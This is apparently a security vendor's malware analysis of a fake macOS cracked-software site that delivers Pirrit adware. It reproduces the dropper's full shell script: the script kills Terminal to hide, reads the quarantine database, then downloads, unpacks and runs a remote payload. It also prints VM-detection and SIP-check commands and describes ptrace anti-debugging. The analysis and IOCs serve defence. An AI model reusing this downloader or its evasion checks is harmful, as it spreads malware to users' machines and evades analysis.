Recently, researchers at K7 Labs found a website that was ostensibly providing cracked software for macOS. The website appears well done and claims to provide safe, fast and free software. But in reality people were unintentionally downloading the Pirrit adware. The name of the site was crack(-)mac(.)com.
Pirrit is a macOS adware that was first discovered in 2016 and actively distributed ever since. It can affect users by redirecting to malicious websites, can collect user data, produce annoying ads etc.
The software list mentioned in the site includes Adobe photoshop, Lightroom, Waves, Autocad, Final Cut Pro among others.
As seen in the image above, the User is provided with two download sources for each software. When the “Download #1” button is clicked, it displays a page claiming the application to be safe and displays some fake md5 ( technically it’s not an md5 ). Then it asks the user to download and install the OperaGX browser to download the application (i.e Adobe Acrobat Pro in this case). And if we proceed to download and install the OperaGX browser through the provided link in the page, only the OperaGx is installed and the original intended software is nowhere to be seen. If we click the “Download #1” option again, the site would still show the same page asking to install the OperaGX. This is the case for the Download#1 option for all the softwares listed in the site.
If we explore the Download#2, it redirects to Vexfile(.)com (which is a file hosting website) site.
It can be found out that the Vexfile site is known to host many malicious files which has also been confirmed by VT Relations.
If we download the file, it is 140 KB in size with the dmg extension. The dmg file consists of a binary named Install Flash Player and an image tells the user to allow the binary to run when it is stopped by Gatekeeper.
The Install Flash Player is a x86 mach-O binary and it is not signed.
When it is executed, it executes the following shell command and downloads an application.
temp_dir(){ if [ -n "${TMPDIR}" ];then echo "${TMPDIR}";else getconf DARWIN_USER_TEMP_DIR;fi;};did_dg(){ for volume in "/Volumes/"*;do did_path="${volume}/.did";[ -f "${did_path}" ]||continue;did="$(cat "${did_path}")";[ -z "${did}" ]&&continue;echo "${did}";return;done;return 1;};where_from_url(){ /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2>/dev/null;};did_qe(){ url="$(where_from_url)";query="${url#*\?}";did_find=0;for param in ${query//[=&]/ };do if [ "${did_find}" = 1 ];then echo "${param}";return;fi;[ "${param}" = "utm_source" ]||[ "${param}" = "sidw" ]||[ "${param}" = "neo" ]&&did_find=1;done;return 1;};download(){ local -r url="${1}";local -r tmp_dir="${2}";local -r path="${tmp_dir}/$(uuidgen)";if output="$(curl -kLSs -m "30" -o "${path}" "${url}" 2>&1)";then echo "${path}";else return 1;fi;};unarchive(){ local -r arc_path="${1}";local -r dst_dir="$(/usr/bin/dirname "${arc_path}")";/usr/bin/tar -xz -f "${arc_path}" -C "${dst_dir}">/dev/null 2>&1&&echo "${dst_dir}";};app_path(){ local -r app_dir="${1}";local -r app_paths=("${app_dir}"/?*.app);local -r app_path="${app_paths[0]}";[ -d "${app_path}" ]&&echo "${app_path}";};bin_path(){ local -r app_path="${1}";local -r binary_paths=("${app_path}/Contents/MacOS"/?*);local -r binary_path="${binary_paths[0]}";[ -f "${binary_path}" ]&&echo "${binary_path}";};exec_bin(){ bin_path="${1}";did="${2}";"${bin_path}" -did "${did}";};WORK_DIR="$(mktemp -dt "tmp")"||exit;cleanup(){ rm -rf "${WORK_DIR}">/dev/null 2>&1;exit;};main(){ url="${1}";(pkill -9 Terminal&);did="$(did_qe)"||did="$(did_dg)";if [ -z "${did}" ];then pv="$(/usr/bin/sw_vers -productVersion)"||cleanup;tv="12.4";[[ "${pv}"<"${tv}" ]]&&cleanup;fi;arc_path="$(download "${url}" "${WORK_DIR}")"||cleanup;app_dir="$(unarchive "${arc_path}")"||cleanup;app_path="$(app_path "${app_dir}")"||cleanup;bin_path="$(bin_path "${app_path}")"||cleanup;exec_bin "${bin_path}" "${did}";cleanup;};main "https://cdn.dinellas.cfd/static/i2/Installer.app.zip"
Rearranging the shell script will give a better readability, thus better understanding of the script(ChatGpt output).
#!/bin/bash
temp_dir() {
if [ -n "${TMPDIR}" ]; then
echo "${TMPDIR}"
else
getconf DARWIN_USER_TEMP_DIR
fi
}
did_dg() {
for volume in "/Volumes/"; do
did_path="${volume}/.did"
[ -f "${did_path}" ] || continue
did="$(cat "${did_path}")"
[ -z "${did}" ] && continue
echo "${did}"
return
done
return 1
}
where_from_url() {
/usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" \
"SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2>/dev/null
}
did_qe() {
url="$(where_from_url)"
query="${url#\?}"
did_find=0
for param in ${query//[=&]/ }; do
if [ "${did_find}" = 1 ]; then
echo "${param}"
return
fi
[ "${param}" = "utm_source" ] || [ "${param}" = "sidw" ] || [ "${param}" = "neo" ] && did_find=1
done
return 1
}
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if output="$(curl -kLSs -m "30" -o "${path}" "${url}" 2>&1)"; then
echo "${path}"
else
return 1
fi
}
unarchive() {
local -r arc_path="${1}"
local -r dst_dir="$(/usr/bin/dirname "${arc_path}")"
/usr/bin/tar -xz -f "${arc_path}" -C "${dst_dir}" >/dev/null 2>&1 && echo "${dst_dir}"
}
app_path() {
local -r app_dir="${1}"
local -r app_paths=("${app_dir}"/?.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
local -r binary_paths=("${app_path}/Contents/MacOS"/?)
local -r binary_path="${binary_paths[0]}"
[ -f "${binary_path}" ] && echo "${binary_path}"
}
exec_bin() {
bin_path="${1}"
did="${2}"
"${bin_path}" -did "${did}"
}
WORK_DIR="$(mktemp -dt "tmp")" || exit
cleanup() {
rm -rf "${WORK_DIR}" >/dev/null 2>&1
exit
}
main() {
url="${1}"
(pkill -9 Terminal &) # Terminate Terminal to hide execution
did="$(did_qe)" || did="$(did_dg)"
if [ -z "${did}" ]; then
pv="$(/usr/bin/sw_vers -productVersion)" || cleanup
tv="12.4"
[[ "${pv}" < "${tv}" ]] && cleanup
fi
arc_path="$(download "${url}" "${WORK_DIR}")" || cleanup
app_dir="$(unarchive "${arc_path}")" || cleanup
app_path="$(app_path "${app_dir}")" || cleanup
bin_path="$(bin_path "${app_path}")" || cleanup
exec_bin "${bin_path}" "${did}"
cleanup
}
main "https://cdn.dinellas.cfd/static/i2/Installer.app.zip"
Long story short, it kills all the instances of terminal first, then retrieves the recent url from the quarantine database and checks for one of the 3 parameters mentioned in the script. If it is found, it downloads a zip file from the url mentioned in the script, unarchives and executes it and then deletes itself and the downloaded file.
The extracted file is an application named ‘Installer’ which contains another application inside of it (also named as Installer) along with a ‘Install Flash Player’ mach-O file which has the same md5 as the previous one downloaded from the crack-mac(.)com.
The Installer application contains a x86_64 mach-O binary and info.plist. It doesn’t have any signature. It runs on macOS version 10.10 and above. It has the bundler name as com.Installer.
When executed by the Install Flash Player binary, it checks the OS whether SIP(System Integrity Protection) is enabled using CSRUTIL command.
csrutil > /dev/null && csrutil status | grep -v \"enabled\" > /dev/null && echo 1 || echo 0
Then it tries to detect whether the machine it is running on is a VM or not by checking VM software names like VMware, Virtualbox, Parallels and model name, RAM size etc. The VM check is pretty similar to Patrick Wardle’s research on GoSearch22. But it didn’t create a launch agent.
{
"event": "ES_EVENT_TYPE_NOTIFY_EXEC",
"timestamp": "2023-08-18 06:27:37 +0000",
"process": {
"pid": 988,
"name": "sh",
"path": "/bin/sh",
"uid": 501,
"architecture": "unknown",
"arguments": [
"/bin/sh",
"-c",
"readonly VM_LIST=\"VirtualBox\\|Oracle\\|VMware\\|Parallels\\|qemu\"; is_hwmodel_vm() { ! sysctl -n hw.model | grep \"Mac\" > /dev/null; }; is_ram_vm() { (($(($(sysctl -n hw.memsize) / 1073741824)) < 4)); }; is_ped_vm() { local -r ped=$(ioreg -rd1 -c IOPlatformExpertDevice); echo \"${ped}\" | grep -e \"board-id\" -e \"product-name\" -e \"model\" | grep -qi \"${VM_LIST}\" || echo \"${ped}\" | grep \"manufacturer\" | grep -v \"Apple\" > /dev/null; }; is_vendor_name_vm() { ioreg -l | grep -e \"Manufacturer\" -e \"Vendor Name\" | grep -qi \"${VM_LIST}\"; }; is_hw_data_vm() { system_profiler SPHardwareDataType 2>&1 /dev/null | grep -e \"Model Identifier\" | grep -qi \"${VM_LIST}\"; }; is_vm() { is_hwmodel_vm || is_ram_vm || is_ped_vm || is_vendor_name_vm || is_hw_data_vm; }; main() { is_vm && echo 1 || echo 0; }; main \"${@}\""
]
}
}
It also has code for anti-analysis. It is done through calling ptrace with the flag PT_DENY_ATTACH.
On debugding via lldb it iexits with status = 45 which is the value of ENOTSUP which is mentioned in the manual for PT_DENY_ATTACH.
To find out where in the code the ptrace is getting invoked in the code refer here.
Usually the syscall number for ptrace is 26(0x1A) but here the syscall number used is 0x200001A which is according to the syscall_sw.h.
The similarities in VM check and invoking anti-debugging ways are indicating that it might belong to Pirrit adware. The VT detections are also mentioning this.
In our analysis we couldn’t get the next stage payload. You can also refer to this blog which explains another infection chain of this Pirrit adware.
Windows Variant
The payload is an .exe file when the crack(-)mac(.)com site is visited from a windows machine. It is a setup wizard that downloads Kodi Player setup.
In the process of installation, the setup pops up options to download other applications like Supernova, Avast AV, Opera and CC Cleaner, among others.
Threat actors targeting macOS users are increasing everyday. So, as a user, one needs to be cautious when downloading files from pirated websites as well as executing unknown executables. Users are requested to use a reputable security product such as “K7 Antivirus for Mac” and to keep it updated so as to stay safe from such threats.
IOCs
Hash | File Name | Detection Name |
0C42838DA01CCC34E08FE7300D8913B9 | Adobe_Acrobat_2023_Setup.zip.dmg | Adware ( 0040f11c1 ) |
F74F2F61E9924A139E04248A6C6A190E | Install Flash Player | Adware ( 0040f11c1 ) |
14476491676E580BE9D10EBC8CBE7B87 | Installer.app.zip | Adware ( 0040f1271 ) |
D3D9849A39F6185CFF5BCBE2A35F7AF0 | Installer | Adware ( 0040f1271 ) |
309400934CB15561997C0C20CDFE8697 | AdobeAcrobat.exe | Trojan ( 005a6af81 ) |